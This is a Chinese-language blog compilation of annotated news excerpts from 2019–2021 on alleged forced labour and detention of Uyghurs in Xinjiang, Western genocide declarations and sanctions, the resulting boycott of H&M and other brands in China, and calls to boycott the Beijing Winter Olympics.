数月来，一些国际人权组织及专家表示，中国在新疆设置集中营，其中关押了一百万以上维吾尔穆斯林以及其他穆斯林少数族裔，他们在集中营遭受酷刑、强迫劳动，强奸、强迫性政治灌输等反人权行为。
北京则否认相关侵犯人权的指控，称这是为了预防恐怖主义活动、以及培训就业技能而设置的职业培训教育中心。中国外长王毅在“两会”新闻发布会上反驳北京在新疆实施种族灭绝“荒谬绝伦”，他宣称，北京欢迎各国人士到新疆参观访问，眼见为实。
但是北京至今阻挠联合国高级人权署以及欧盟提出的在新疆实地调查的要求，西方媒体也难以在新疆进行采访。
◇《新疆采棉工——新证据揭露时尚产业背后的强迫劳动 @ BBC/英国广播公司》
（编程随想注：此文发布于2020年12月17日；以下是此文的摘录）
BBC 获得的一项最新研究结果显示，中国正迫使数十万维吾尔族和其他少数民族人群在西部新疆地区广阔的棉田中从事艰苦的体力劳动。
根据近期在网上发掘的文件，该研究首次清晰地展示了采棉产业背后潜在的强迫劳动规模。新疆的棉花产量占全球棉花供应量的五分之一，在全球时尚产业用途甚广。
除了大型的再教育营系统（据信有超过100万人被拘留在那里），有关少数族裔被迫在纺织厂工作的指控也得到详细记录。
中国政府否认这些说法，坚称这些营地是“职业教育培训中心”，而这些工厂是一个大规模、自愿的扶贫计划的一部分。但新的证据表明，每年有超过50万少数民族工人也被调往参与季节性采棉工作中。他们的工作环境可能存在很高的强制性。
......
◇《中国如何将新疆穆斯林少数民族改造为工人大军 @ 纽约时报》
（编程随想注：此文发布于2019年12月31日；以下是此文的摘录）
中国喀什——中国官员的命令是明确而紧急的。需要逼迫穆斯林少数民族村民就业，无论他们是否愿意。政府设置了配额，拒绝服从的家庭将受到惩罚。“让就业困难群众摒除私心杂念”，新疆西部察布查尔县的人社局在去年的指示中说。
这些命令属于一项强硬的行动，旨在将新疆穆斯林少数民族——主要是维吾尔族与哈萨克族——改造成工厂和其他大雇主的工人大军。在当局压力下，贫穷的农民、小商贩和工作年龄的闲散村民要参加数周或数月的培训和灌输课程，然后被分配去制衣、制鞋、扫街或其他工作。
为巩固对这个少数民族约占人口一半地区的控制，中国领导人习近平发起了大规模行动。这些劳工项目代表了该行动的一条日益扩展的战线。它们和已关押了100多万维吾尔人和哈萨克人的教化营一样，对政府的社会再造战略至关重要。
察布查尔县人社局要求村民接受军事化培训，将他们转变为顺从的工人，忠于雇主和执政的共产党。“改变长久以来养成的懒、散、慢、浮的个人自由行为，遵守企业规章制度和工作纪律，”该指令称。
政府认为，这些维吾尔族和哈萨克族村民是“农村富余劳动力”，是未能充分就业的人口，威胁着社会稳定。官员们表示，让他们在监督之下从事稳定的、经政府许可的工作，可以消除贫困，减缓宗教极端主义和种族暴力的蔓延。
政府称这些劳工是志愿者；但批评人士说，他们显然是被强迫的。官方文件、对专家的采访以及《纽约时报》对新疆的访问都表明，当地的计划让村民背井离乡，限制他们的行动，迫使他们留在工作岗位上。
专家们说，这些严厉的方法可能相当于强迫劳动，从而玷污使用新疆工人的全球供应链，特别是用于生产棉织品的供应链。日本零售商无印良品（Muji）和优衣库（Uniqlo）表示，它们使用来自新疆的棉花，而沃尔玛（Walmart）则从一家直到最近还在使用新疆工人的公司采购商品。
鉴于新疆受到的严格控制，“我们不得不认为，目前存在着强迫劳动的巨大风险，”战略与国际问题研究中心（Center for Strategic and International Studies）人权项目主任以及一项新疆劳工调查报告的联合作者艾米·K·勒尔（Amy K. Lehr）说。
......
◇《新疆无故监禁激增 @ HRW/人权观察》
（编程随想注：此文发布于2021年2月24日；以下是此文的摘录）
人权观察今天表示，中国政府近年来在新疆地区对维吾尔族及其他穆斯林无故起诉并判处重刑的案件增加。从2016年中国政府加大力度推行镇压式的“严厉打击暴力恐怖活动专项行动”迄今，该地区已有逾25万人遭正式司法系统定罪判刑。
由于新疆当局严密管制资讯，仅有极少数判决书和官方文件能够公开取得，人权观察分析其中近60宗案件发现，许多人并未犯罪却遭判刑入狱。除了这些正式起诉的案件之外，还有许多人被任意拘禁在非法的“政治教育”设施。
“中国政府开设‘政治教育’营的作法已引起国际公愤，但新疆穆斯林遭正式司法系统逮捕拘禁的情况却未得到太多关注，”人权观察中国部高级研究员王松莲说。“尽管表面看来合法，其实新疆监狱中许多囚犯只不过是为了正常营生和践行宗教信仰而被定罪。”
......
如非政府组织中国人权捍卫者网络（CHRD）及《纽约时报》2019年所报导，中国官方统计显示，新疆判刑人数于2017年骤然上升，并在2018年继续增加。根据中国官方统计，新疆各法院在2017年合计判刑99,326人，2018年为133,198人。当局未公布2019年判刑数据。......2017年的另一个改变是被判重刑的人数大幅增加，如官方统计所示。2017年之前，判刑超过五年的人数占所有判刑人数的百分之10.8。同一比率在2017年突然升高到百分之87。
......
★面对新疆人权问题，世界各国的反应
编程随想注：
相关的声讨，已经有很多年了。俺的精力有限，只汇总了【今年1季度】西方各国的反应（按时间排序）。
◇《特朗普政府宣布：中国在新疆犯下种族灭绝和反人类罪 @ VOA/美国之音》
（编程随想注：此文发布于2021年1月20日；以下是此文的摘录。顺便说一下：特朗普政府【第一个】使用“种族灭绝”来定性新疆人权问题）
特朗普政府星期二（1月19日）宣布，中国在新疆对维吾尔人犯下了种族灭族和反人类罪。
美国国务卿蓬佩奥在推特上说：“我认定，中华人民共和国在新疆针对维吾尔穆斯林和其他宗教和少数族裔犯下了种族灭族和反人类罪。这些行为是对中国人民和世界各地所有文明国家的侮辱。中华人民共和国和中共必须被问责。”
蓬佩奥在一份声明中说，详尽的记录证实，这些行为至少在2017年3月就开始了，包括任意拘押100多万维吾尔和其他民族和宗教少数族裔，强制节育，对大多数被任意拘押的人士动用酷刑，强制劳动，限制宗教、言论和迁移自由。
声明说，中共不但不允许国际观察员不受阻碍地进入新疆，谴责有关当地局势恶化的可信报道，还炮制有关维吾尔人幸福参与教育、反恐、脱贫和女性赋权项目的叙事，同时又向本国民众传播维吾尔人是恶性肿瘤、其信仰是传染病等邪恶信息。
蓬佩奥在一份声明中说：“在认真审视现有事实之后，我认定，中华人民共和国在中共指示和控制下，在新疆对占多数人口的维吾尔穆斯林和其他宗教少数族裔犯下了种族灭绝。”
他还说：“我相信，这场种族灭绝还在进行当中，我们正在目睹中共党国摧毁维吾尔人的系统性企图。”
......
◇《加拿大众议院通过动议，宣布中国政府对新疆维吾尔人实行种族灭绝 @ RCI/加拿大国际广播》
（编程随想注：此文发布于2021年2月22日；以下是此文的摘录，引文中的粗体是俺标注滴）
加拿大众议院星期一（2月22日）对保守党提出的关于中国新疆政策的动议进行投票。在338名各党议员中，有266人投了赞成票，其他人缺席或弃权，无人投反对票。总理特鲁多领导的自由党决定允许内阁成员以外的议员自由投票。该党大部分议员投了赞成票。
这项由保守党外交事务评论员庄文浩（Michael Chong）提交到众议院的动议，要求加拿大议会正式宣布中国政府在新疆对维吾尔族人实行的政策为种族灭绝。同时敦促政府采纳这一立场，与盟国一起作出反应。动议还呼吁加拿大政府向国际奥委会提出易地举办2022年冬奥会。
中国驻加拿大大使丛培武对保守党动议表示强烈不满和坚决反对，称新疆根本不存在种族灭绝，再教育营，强制绝育或强迫劳动。新疆事务属于中国内政，不容外部势力干涉。
......
◇《新疆问题，荷兰迈出第一步 @ 德国之声》
（编程随想注：此文发布于2021年2月27日；以下是此文的摘录，引文中的粗体是俺标注滴）
荷兰国会通过动议，认定北京对新疆维吾尔人实施“种族灭绝”，引起德语媒体关注。
《法兰克福汇报》指出，长期以来，中国明里暗里试图给海外对华言论施加影响，不过这未能阻止荷兰议员们对新疆局势做出决定。荷兰成为首个迈出这一步的欧洲国家。那么，欧盟最大经济体德国在做什么呢？媒体也提出了这个问题。
“对于中国外交官和助理们来说，荷兰国会宣布的决定意味着——加班工作。长期以来，中国都明里暗里尝试给海外对华言论施加影响。不过这并未能阻止荷兰议员们对新疆局势进行评估，并得出结论：中国在新疆处置维吾尔穆斯林的方式符合‘种族灭绝’的定义。”《法兰克福汇报》本周六（2月27日）发表的一篇文章开头这样写道。
作者 Peter Sturm 接着指出：“虽然荷兰政府并没有使用这个定义，不过也对北京打压维吾尔人提出批评。另外，法国外长也有类似表态，指出中国对维吾尔人采取‘制度性压迫’”。
题目为“新疆问题”（Der Fall Xinjiang）的文章接着指向德国：“欧盟最大的经济体在做什么呢？新疆话题一次又一次地出现在联邦议院的议程之上。但德国联邦政府更愿意保持低调。在中国问题上，柏林几乎总是这样。”去年5月回应绿党时，德国政府仅仅表示“非常关注”。文章尖锐地批评说：“如果大家都这么顺从听话，北京的宣传部门可就不用再加班了。”
（编程随想：俺不得不说，默克尔政府对天朝太软弱了，估计连《德国之声》的编辑也看不下去，才引用上述这些德语媒体的报道）
......
◇《法国外长：中国强迫维吾尔人绝育及大规模囚禁，证据确凿 @ RFI/法广》
（编程随想注：此文发布于2021年3月11日；以下是此文的摘录）
法国外长勒德里昂周三声明：中国政府在新疆强迫维吾尔妇女绝育，以及在新疆大规模关押维吾尔穆斯林及其他穆斯林是“得到证实”的，尽管北京不断否认。
法国外长在法国参议院表示，“强迫妇女绝育，强暴关押在集中营地的妇女，失踪，大规模关押，强迫劳动，毁灭文化遗产其中最具代表性的是摧毁清真寺，监控人民，这一切都已得到证实”。
根据美国和澳大利亚研究机构的研究，至少100多万维吾尔穆斯林，被关押在中国新疆的“集中营”里。中国当局称：这是为了帮助当地人远离极端主义建立的职业培训中心。
法国外长再一次要求，在联合国高级人权署专员巴克莱领导下，组成一个公正的、独立的、透明的国际调查委员会，前往新疆实地调查，而且越快越好。
......
◇《瑞士出台首部对华战略 @ SWI/瑞士资讯》
（编程随想注：在西欧国家中，瑞士传统上对天朝比较温和。本月19日，瑞士官方公布了历史上第一份【对华战略】，特别强调人权议题——标志着两国关系出现显著的变化）
◇《瑞士外长称：瑞士将以更强硬态度对待中国人权问题 @ SWI/瑞士资讯》
（编程随想注：此文发布于2021年3月23日；以下是此文的摘录，引文中的粗体是俺标注滴）
在评论上周五（3月19日）公布的瑞士最新对华战略时，（瑞士外交部长）卡西斯告诉瑞士纸媒《新苏黎世报·周日版》（NZZ am Sonntag），伯尔尼方面对人权问题会持更为批判的态度，而这代表着政策的改变。他表示“如今不再有所避讳”，处理人权问题不再只是外交部的任务，而是整个政府的责任。
卡西斯对该报说，各州、各城镇、科学界与商界也都能为基本权利的保护添砖加瓦。“随着各领域的集体参与，我们希望对人权问题拥有更强的说服力。”
在被问及中国对港政策时，外交部长表示：瑞士对（香港）民主权利的缩水深感担忧。而在中国维吾尔族人权侵犯问题上，他回答说，这是对少数民族权利的公然侵犯，瑞士已向中国明确表达了自己的担忧。
......
◇《欧盟三十年来首次，因人权问题制裁中国 @ BBC/英国广播公司》
（编程随想注：此文发布于2021年3月23日；以下是此文的摘录）
在中国被控侵犯维吾尔族等少数民族穆斯林的人权后，欧盟宣布对中国官员实施制裁。美国、英国、加拿大以及澳大利亚和新西兰也随后发表声明，对中国进行制裁或谴责。
过去数年来，中国将维吾尔人拘留在西北新疆地区规模庞大的再教育营中，还有亲历者提出了有关酷刑、强迫劳动和性虐待的指控。
中国随即回应，批评欧盟做法罔顾事实，并进行反制，宣布制裁10名欧洲议会议员及学者。中国外交部周二（3月23日）召见欧盟驻华代表团团长，提出严正抗议和强烈谴责。
......
1989年天安门事件后，欧盟下令对中国实施武器禁运。在此之后的30年，欧盟从未因人权问题对中国实施新的制裁。
......
◇《美/加/英/欧联合制裁中国，冲突升级 @ 德国之声》
（编程随想注：此文发布于2021年3月23日；以下是此文的摘录，引文中的粗体是俺标注滴）
美国丶欧盟丶英国和加拿大周一（3月22日）因中国官员在新疆侵犯人权而对其实施制裁，这是美国总统拜登上台以来，西方国家首次对北京采取这种协调的行动。中国政府也在第一时间做出回应，对欧盟的议员丶外交官丶研究所和家庭采取了更广泛的惩罚性措施，并禁止欧盟的相关企业与中国进行贸易。
当天夜间，中国外交部副部长秦刚召见欧盟驻华代表团团长郁白（Nicolas Chapuis），代表中国政府就几小时前欧盟外长就新疆人权问题作出对华制裁决定，向欧方提出严正抗议和强烈谴责，并通报中方有关反制措施。第二天（3月23日）秦刚召见英国驻华大使吴若兰（Caroline Wilson）表达了同样的抗议。
继周一荷兰政府召见中国大使后，周二，中国在法国和比利时的最高外交官也受到相同对待。在法国，卢沙野大使同时因为「战狼」及「疯狗」的争论被「请」到法国外交部以澄清言行。周二晚些时候，德国外交部也召见了中国驻德大使。
美国国务卿布林肯则是在出发前往布鲁塞尔出席欧盟和北约外长会议前，发布声明：宣布依照「全球马尼次基法」对新疆维吾尔自治区公安厅厅长陈明国与新疆生产建设兵团党委书记王君正实施制裁。去年美国祭出的制裁名单上没有陈、王二人。
美国国务卿布林肯（Antony Blinken）在声明中表示： 「在国际社会出现越来越多的谴责声浪之时，中国继续在新疆犯下种族灭绝和反人类罪。」
22日稍早，欧盟22日率先对王君正丶陈明国丶新疆自治区党委常委王明山丶前新疆自治区人大常委会副主任朱海仑及新疆生产建设兵团公安局实施制裁。随后英国和加拿大随后也宣布了类似制裁决定，但加拿大没有公布名单。
加拿大外交部表示：「越来越多的证据表明，中国当局以国家主导的方式系统性的侵犯人权。」加拿大与英国外长22日在与布林肯共同发布的声明中，呼吁中国立即停止在新疆的镇压行为。
......
◇《新疆种族灭绝被比纳粹，西方“围殴”，价值观高于利益 @ VOA/美国之音》
（编程随想注：此文发布于2021年3月25日；以下是此文的摘录，引文中的粗体是俺标注滴）
本星期开篇，美国、英国、欧盟、加拿大、澳大利亚、新西兰等国宣布，针对中国大规模关押新疆维族人的行为和政策，制裁数名新疆官员。并且，所有27个欧盟成员国政府都同意实施制裁。这显示出，在西方国家，价值观高于商业利益。
美国国务卿布林肯星期一（3月22日）在声明中指出：“一个团结的跨大西洋会议，向那些违反或践踏国际人权者发出一个强有力的信号，我们将与志同道合的伙伴磋商，采取进一步的行动。”
这是拜登就任美国总统之后，西方首次针对北京政府采取联合行动；这也是欧盟自8964以来首次因人权制裁中国。
“世界维吾尔代表大会”中国事务部主任伊利夏提对美国之音说：“美国单打独斗来对付中国显得势单力薄，需要联合盟友共同行动。这样做不仅人多力量大，而且也凸显正当性，还可以在自由世界孤立中国，给它造成更大的压力，让它措手不及。”
伊利夏提分析，中共执政以来，尽管有亚非拉兄弟始终如一护旗，但是，亚非拉的支持并不是中共的追求；相反，它追求的是西方的肯定，包括美国的，欧洲的；所以，它过去一直在欧美之间玩此消彼长的游戏——被美国反对的时候就拉拢欧洲，或者反过来。
现在，美国和欧洲走到一起，还把亚洲与中国有直接利益冲突的印度（边界问题）、日本（钓鱼岛问题），还有经济上有矛盾的澳大利亚都联合起来，共同抗衡。
美国前总统特朗普离任之际，美国国务院把中国政府对待维族人和其他穆斯林的行为，定性为“种族灭绝”，为后来的新疆博弈铺开了棋盘。
......
◇《中欧协议，针对强迫劳动议题，巴黎将“极为坚定” @ RFI/法广》
（编程随想注：此文发布于2021年3月26日；看标题能大致了解其内容，俺就不摘录啦）
◇《中英关系黄金期告终，英外交部称：中方应让联合国彻查新疆人权问题 @ RFI/法广》
（编程随想注：此文发布于2021年3月27日；看标题能大致了解其内容，俺就不摘录啦）
◇《新疆棉抵制潮，（台北市長）柯文哲：反中是未來15年世界趨勢 @ CNA/台灣中央社》
（编程随想注：此文发布于2021年3月28日；以下是此文的摘录）
新疆棉抵制潮越演越烈，台北市長柯文哲今天對此表示，中國在人權的確有需要改善的地方，且他認為中美貿易戰一定會持續打下去，反中在未來15年會是世界趨勢。
柯文哲今天上午挑戰台北大縱，走前接受聯訪。媒體詢問對於新疆棉抵制潮的看法，柯文哲在沉默約6秒後表示，中美貿易戰一定會持續打下去，中國在人權的確有需要改善的地方。
他說，講明白點，兩岸關係是太平洋兩岸與台灣海峽兩岸之間的關係，是世界大事，他認為反中在未來15年仍會是世界趨勢，中國要想辦法改善它的國際形象。
......
◇《中國報復性制裁，布林肯：國際監督力道只會更大 @ MSN》
（编程随想注：此文发布于2021年3月28日；以下是此文的摘录）
......
美國國務卿布林肯（Antony Blinken）22日聯合歐盟、英國與加拿大，以侵害人權為由制裁新疆官員及機構。中國當天隨即對10名歐盟人士及4個實體祭出報復性制裁，26日則進一步制裁英國9名人員和4個機構。
台北時間27日晚間，中國外交部再對美國、加拿大3名人員和1個機構實施報復性制裁。美國方面遭制裁人員包含美國國際宗教自由委員會（USCIRF）主席曼欽（Gayle Manchin）、副主席柏金斯（Tony Perkins）。
布林肯今天晚間透過聲明，譴責北京在毫無依據下對美方人員實施制裁。他說，此舉顯然是報復美國制裁涉入新疆嚴重人權侵犯作為的中國官員。
布林肯表示，在那之前，中國1月曾制裁28名美國官員，去年7月也對美國官員和在全球促進民主人權的機構開鍘。他強調：「北京試圖恫嚇、讓為人權與基本自由發聲的人士噤聲，只是讓國際對新疆種族滅絕、違反人道罪情事的監督力道更大。」
布林肯重申，美國與加拿大、英國、歐盟與其他盟友站在一起，敦促北京停止侵犯新疆維吾爾族人和其他少數民族人權，並釋放遭任意拘押的人士。
......
★新疆问题延烧到商界
◇《H＆M 因拒用新疆棉花，在华遭抵制 @ 纽约时报》
（编程随想注：此文发布于2021年3月25日；看标题能大致了解其内容，俺就不摘录啦）
◇《H＆M 不僅遭大陸電商全面下架，還從地圖上消失了... @ 台灣聯合新聞網》
（编程随想注：此文发布于2021年3月24日；看标题能大致了解其内容，俺就不摘录啦）
◇《“拒绝新疆棉花”源于澳洲，为什么“中刀”的是 H＆M？ @ SBS/澳洲公共广播机构》
（编程随想注：此文发布于2021年3月27日；以下是此文的摘录，引文中的粗体是俺标注滴）
H＆M 因去年宣布不再采用新疆棉花，近日遭到中国官方的抨击和抵制。其实“拒绝新疆棉花”的倡议源于澳洲。
早在2019年7月，澳广 ABC 调查节目《四角方圆》揭露了一项抓捕维吾尔族穆斯林并强迫他们在新疆的纺织厂工作的计划。
Cotton On 集团和 Target 澳大利亚公司在完成了对其供应链的内部调查后，宣布不再使用其新疆分包商采购的棉花，并且“绝对致力于使用符合道德准则的供应链”。
2020年2月，澳洲政策战略研究所（Australian Strategic Policy Institute）发布了一篇名为“Uyghurs for sale”的报告。
报告称，新疆存在所谓“在教育”、强迫劳动和监视的情况。报告同时指出，83家跨国公司旗下的供应链工厂有雇佣新疆维吾尔族再教育营的情况。呼吁全球舆论对这些跨国公司施压，要求他们保证雇佣工人的人权。
此后，全球超过250个人权和劳工组织携手发起“结束强迫维吾尔族劳动”（End Uyghur Forced Labour）的运动并建立相关联盟。该联盟致力于推动全球服装品牌和零售商，停止采购涉及新疆强迫劳动的产品，将供应链移出新疆。
去年7月，美国 AAFA（美国服装和鞋类协会）, FDRA（美国鞋类分销商和零售商协会）, NRF（全国零售联合会）, RILA（零售业领袖协会）, USFIA（美国时尚产业协会）共同宣布对“强迫劳动”零容忍。这些协会在今年3月22日刚刚发表联合声明，称对结束新疆维吾尔自治区（新疆）维吾尔族和其他穆斯林少数民族的压迫运动的全球方针表示欢迎。
瑞士非盈利组织良棉组织（Better Cotton Initiative，简称 BCI）从去年3月份开始不再在新疆发布许可证。
美国 CBP（海关和边境保护局）从去年9月开始禁止从新疆进口棉花，今年12月开始禁止进口新疆棉花的制成品。
为了满足全球最大市场的要求，才会有众多包括 H＆M 在内的品牌纷纷发表声明，澄清自己的供应链中没有采用新疆棉花及其他产品。
那么问题来了。H＆M 在去年发表的声明，为什么会在现在突然触雷？为什么率先被点名的不是其他品牌，而偏偏是 H＆M 呢？
《苹果日报》引述报道解释说，之所以 H＆M 去年10月已发声明停用新疆棉，却未遭中国声讨，是因中国当局不想影响当时的《中欧投资协定》谈判。
而在欧盟本周以侵犯新疆维吾尔人人权为由制裁中国官员之后，身为瑞典服装巨头的 H＆M 才被共青团翻出旧账，指对方去年停用新疆棉花是“造谣抵制”，导致中国电商纷纷将 H＆M 下架，同时也令其他服装品牌心生恐慌。
由于中方反制欧盟的人员、H＆M 遭抵制等等一系列事件，欧洲议会在昨天决定取消《中欧投资协定》的审议会议。
......
◇《国际品牌停用疆棉，在中国引发抵制浪潮；这一套，世界要继续吃吗？ VOA/美国之音》
（编程随想注：此文发布于2021年3月25日；以下是此文的摘录，引文中的粗体是俺标注滴）
因为停止使用新疆棉，H＆M、耐克（Nike）、阿迪达斯（Adidas）等多个国际服饰品牌于周四（3月25日）开始遭到中国网民的群起抵制，当日微博十大热搜榜上一度有高达八个相关的议题，而每个热搜议题都引来数亿中国网民的浏览，挞伐声不断。根据《苹果日报》报道，少数网民还在微博上贴出“火烧耐克球鞋”泄愤的短片、或者手持抵制纸牌，只身前往 H＆M 分店抗议的支持照片，被该报刊形容为“义和团”式的反西方热潮。
针对此一外货抵制浪潮，个别国际品牌大多选择噤默，唯恐难息众怒；而在中国的欧盟商会则呼吁全球消费者理解企业的两难处境。
观察人士分析，这波由官方带头操控和煽动中国消费者民族情绪的抵制行径，是中共“在西方绥靖政策下，打惯了的顺手牌”。
......
◇《国际品牌为何自断新疆供应链？ @ 德国之声》
（编程随想注：此文发布于2021年3月25日；以下是此文的摘录）
在中国市场和品牌形象之间陷于两难境地的不只是 H＆M 和耐克。为数众多的欧美企业对有关新疆人权问题，特别是涉及强迫劳动的报道而面对压力、感到头疼。
一方面，在批判性审视全球化的大背景下，西方社会舆论对新疆问题的敏感度持续升高，公民社会对商业盈利置于人权之上的做法提出了更明确和具体的批评。部分公众也意识到自身的消费甚至可能与侵犯人权产生联系，因而对厂商提出了更高要求。
2020年7月，全球超过190个劳工权益团体与维吾尔人权团体发起名为「结束维吾尔地区强制劳动联盟」的国际倡议，呼吁所有服饰品牌与零售商停止使用涉及新疆强迫劳动的原料及产品。
同许多知名品牌合作，因而近日被中国官媒“起底”的“良好棉花发展协会”（BCI），因其认证机构的身份，则必须保障其认证符合人权及生态保护的标准。对企业来说，同这样的认证机构合作，维护自己的商业道德形象，已成为一种大趋势。
美国：禁令、负面清单
与此同时，美国和欧盟一些国家政府开始采取立法措施，或试图从制度层面让企业为其整个供货链承担起责任，抑或直接指向新疆的强制劳动问题，作为向中国施压的手段。
2020年7月，美国政府推出一份包含17个行业和类别的清单，称有明确证据证明相关产品的生产中存在强迫劳动。名单涉及移动电话、服装鞋类、玩具和制糖等行业。当局警告美国公司应该检视他们与中国的供应链中是否有中国在新疆与其他地区进行人权侵害的元素，也要求他们充分了解将强迫劳动产品销售至国内外会带来的各项风险。
9月下旬，美国众议院通过《防止强迫维吾尔劳动法》，禁止进口由中国新疆地区的强迫劳工生产的产品。该法尚需在参议院获得通过。《纽约时报》去年报道，该法将设定高门槛，禁止进口“全部或部分”在新疆制造的产品，除非企业能向海关官员证明其产品不是由强迫劳工生产的。
在2020年3月的一份报告中，美国国会及行政当局中国委员会将耐克与可口可乐列为涉嫌参与新疆强迫劳动的企业，另外还包括阿迪达斯、Calvin Klein、金宝汤公司（Campbell Soup Company）、好市多（Costco）、H＆M、巴塔哥尼亚（Patagonia）、汤米·希尔费格（Tommy Hilfiger）等品牌。
立法、问责、清洁供应链
英国外交大臣拉布今年1月宣布，政府计划在2015年颁布的《现代奴役法》（Modern Slavery Act）中加入惩罚条款、禁止政府与任何不遵守采购规则的企业签订合约，此外将推出以新疆为主的出口管制报告。之后，加拿大也宣布类似禁令，不准进口疑似新疆强迫劳动所生产的商品。
德国预计今年将推出、2023年生效的《供货链法》，将规范企业必须对整个生产链中出现的剥削、劳工侵权、破坏环境等现象承担法律责任。这一法律在欧盟范围被视为具有示范效应。欧盟委员会已计划今年内推出一份类似的法律草案。
......
◇《中國網友氣炸！亞馬遜爆封殺「新疆棉」，相關商品全下架 @ 台灣自由時報》
（编程随想注：此文发布于2021年3月27日；以下是此文的摘录，引文中的粗体是俺标注滴）
中國網路上則流傳「亞馬遜疑似下架所有中國棉製品」的消息，綜合中媒報導，有中國網友在豆瓣網爆料稱，一名透過亞馬遜向美國出口棉製品的中國商家指出，亞馬遜正在要求中國的出口商，「提供可以證明他們的棉製品不包含新疆棉花的證明」。
還有一份疑似亞馬遜發給中國出口商的文件，內容指出，由於中國有 85% 的棉花都來自新疆，有客人要求中國商家必須提供這類證明，否則來自中國的棉製品很可能被美國海關扣下，直到商家能證明棉花並非來自新疆才能放行。
還有一張截圖顯示，一名疑似中國商家的業者無奈表示，他們根本無法提供這種保證出口產品不含新疆棉花的證明，最後的結果就是其所有棉製品「一律下架」了。還有另一位中國賣家稱，他們販售的50款枕頭產品剛被下架，直言產品非純棉只是含棉，而收到的郵件僅提到其產品不符合美國法律，但並未具體提到是什麼法律。
相關消息在中國網路上鬧得沸沸揚揚，甚至「#亞馬遜#」還因此登上微博熱搜。雖然相關消息尚未獲得亞馬遜官方證實，但中國網友仍氣得大罵「抵制亞馬遜」、「禁止美國棉花輸入」、「美國想挑起中國的內部矛盾」、「中國人真的應該團結起來，振興中華，匹夫有責」、「關停中國亞馬遜」、「以後不在亞馬遜買東西了，直接美資全都撤離中國吧」。
事實上，美國早在今年1月就以「強迫勞動」為由，宣布所有新疆的棉花、番茄都禁止進口，包括在第3國加工或製造的原纖維、服裝、紡織品，以及番茄罐頭、調味料、種子等製品。
......
◇《外企禁用新疆棉，中国能抵制多久？ @ 马来西亚中国报》
（编程随想注：此文发布于2021年3月28日；以下是此文的摘录，引文中的粗体是俺标注滴）
熟悉产业的专家说，欧美国家禁新疆棉会对中国纺织业造成极大冲击，当前由中国官方发起的抵制声浪预计难以持久。
中国社群平台上，一篇写于1月17日的文章《制裁棉花的背后：全球供应链上那些隐藏的秘密》点出西方禁用新疆棉花的严重性。随着中共组织“共青团中央”3月24日突然在微博上严词批评欧美服装品牌 H＆M 并引发抵制潮，这篇原本没太多人关注的文章也被热传。
这篇文章作者笔名“安梁”，是熟悉中国工厂生产、劳工权益方面的非政府组织专家。他说，纺织服装产业是中国重要的优势产业，如果欧美日等国家都不用新疆棉、不下订单给中国的工厂，中国纺织服装产业将出现供过于求，政府也将不再补贴，从棉花种植开始就会大幅萎缩，造成关厂失业。
《人民日报》26日刊文指出“新疆棉花：中国自己还不够用”，指新疆棉占中国产量的 87%、占国内消费的 67% ，为满足国内需求，中国每年还需进口200万吨左右的棉花，言下之意是不怕国外制裁。
安梁认为这个说法是一种混淆。他说：“关键是你（中国厂商）无法证明出口或提供给外商的布料没有用新疆棉”。由于中国工厂生产与采购作业不够透明等因素，要提出布料不含新疆棉的证明很困难。
他举例，总部设在香港的大型棉纺织企业溢达集团现在就为此问题很头痛。这家跨国公司在包含中国在内的多个国家设有生产基地，销售客户则包括美、欧、中、日。
根据官方数据，中国纺织服装产业在制造和批发零售两个领域有121万家法人企业，直接从业人员多达1563.6万人，2018年的营业收入达到人民币12.7兆元，是仅次于电子资讯产业的第二大产业部门。如果把个体工商户和棉农算入，纺织服装业直接雇员估计为2500万人。
3月22日，美国联合欧盟、加拿大和英国就新疆问题进一步制裁中国的官员和公司；24日，中国对欧美品牌的抵制潮开始。中港台艺人纷纷为了新疆棉议题站队表态，中国外交部摆出强硬姿态，称这些在中国赚钱的外企不该“吃饭砸碗”。但现实情况可能无法让中国强硬太久。
安梁说，当前中国网友对西方服饰品牌的抵制潮过几天可能会降温，官方或许有意藉此让外企回头给自己国家的政府施压，但棉花出口的问题最终要找到一个大家都能接受的形式、较透明的展示，确认新疆没有强迫劳动问题才能解决，“但是谁去展示、谁去证明，现在是一个很大的问题”。
安梁警告，如果不认真化解“由于政治和意识形态冲突而带来的产业风险”，随着国际订单的流失，中国约1/2的纺织服装出口企业和1/4的纺织服装制造企业可能在未来2到3年内面临没有订单的困境。
而且由于纺织服装是一个低技术的劳动密集型产业，可替代性很强，欧美日订单一旦离开中国，可能就很难再回来了。
★新疆问题延烧到体育界
◇《新疆“种族灭绝”指称——海外反北京冬奥游说的焦点 @ BBC/英国广播公司》
（编程随想注：此文发布于2021年1月28日；以下是此文的摘录，引文中的粗体是俺标注滴）
中国媒体报道说，周一（1月25日）中国领导人习近平同国际奥委会主席巴赫通话讨论了2022年北京冬奥会以及反对将体育赛事政治化等问题。
与此同时，海外批评者正在以中国在新疆推行“种族灭绝”为由呼吁抵制北京冬奥会。
特朗普政府的国务卿蓬佩奥在去职前夕指责中国对新疆维吾尔和其他少数民族犯下“种族灭绝”罪行，他说，“中国一党国家试图系统地摧毁维吾尔人”。美国媒体报道称，这是自2016年来美国国务院首次使用“种族灭绝”指称，当时（2016年）美国国务卿对所谓的“伊斯兰国”在伊拉克和叙利亚的暴行使用了这个词。
......
周三（1月27日）是联合国为缅怀纳粹大屠杀遇难者设立的国际纪念日。此前一天，英国著名保守派评论员梅兰妮·菲利普斯（Melanie Phillips）在《泰晤士报》撰文呼吁英国的犹太社团领袖利用这个纪念日关注中国打压新疆维吾尔人的问题，并呼吁国际抵制北京冬奥会。
菲利普斯把新疆的所谓种族灭绝同犹太人在纳粹德国期间遭受的大规模暴行相联系。她说，当初纳粹试图把犹太人从地球表面抹去，现在中国人镇压新疆维吾尔人也犯下了反人类罪。
菲利普斯还说，在过去三年来，中国已经用教育营囚禁了大约100万维吾尔人、哈萨克人和其他穆斯林少数民族。这些人在里面经历了洗脑和用刑折磨，被迫放弃他们的宗教信仰，被迫歌颂共产党。
菲利普斯说，同“流氓国家”正常交往等于帮助这些政权继续存在，对其受害者形成道义上的打击。
周三（1月27日）美国 CNN 的报道也说，明年2月包括美国在内的90个国家在一个进行“种族灭绝”的国家的首都参加冬奥会，无疑会在人权问题上发出一个错误的信号。报道还引述人权观察组织中国部研究员王松莲的话说，“现在同中国政府的主要联系，只要向他们提供合法性，都受到很大压力。”
英美媒体报道涉及抵制北京冬季奥运会时，都提到苏联入侵阿富汗后，美国联合其他国家抵制1980年莫斯科奥运会。当时65个国家参加了对苏联举办奥运会的抵制。
在莫斯科奥运会遭遇美国发起的抵制后，1984年美国的洛杉矶奥运会也受到苏联和盟友等18个国家的抵制。
